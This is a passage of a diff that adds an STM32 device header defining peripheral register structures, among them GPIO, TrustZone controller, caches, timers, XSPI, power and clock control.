YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 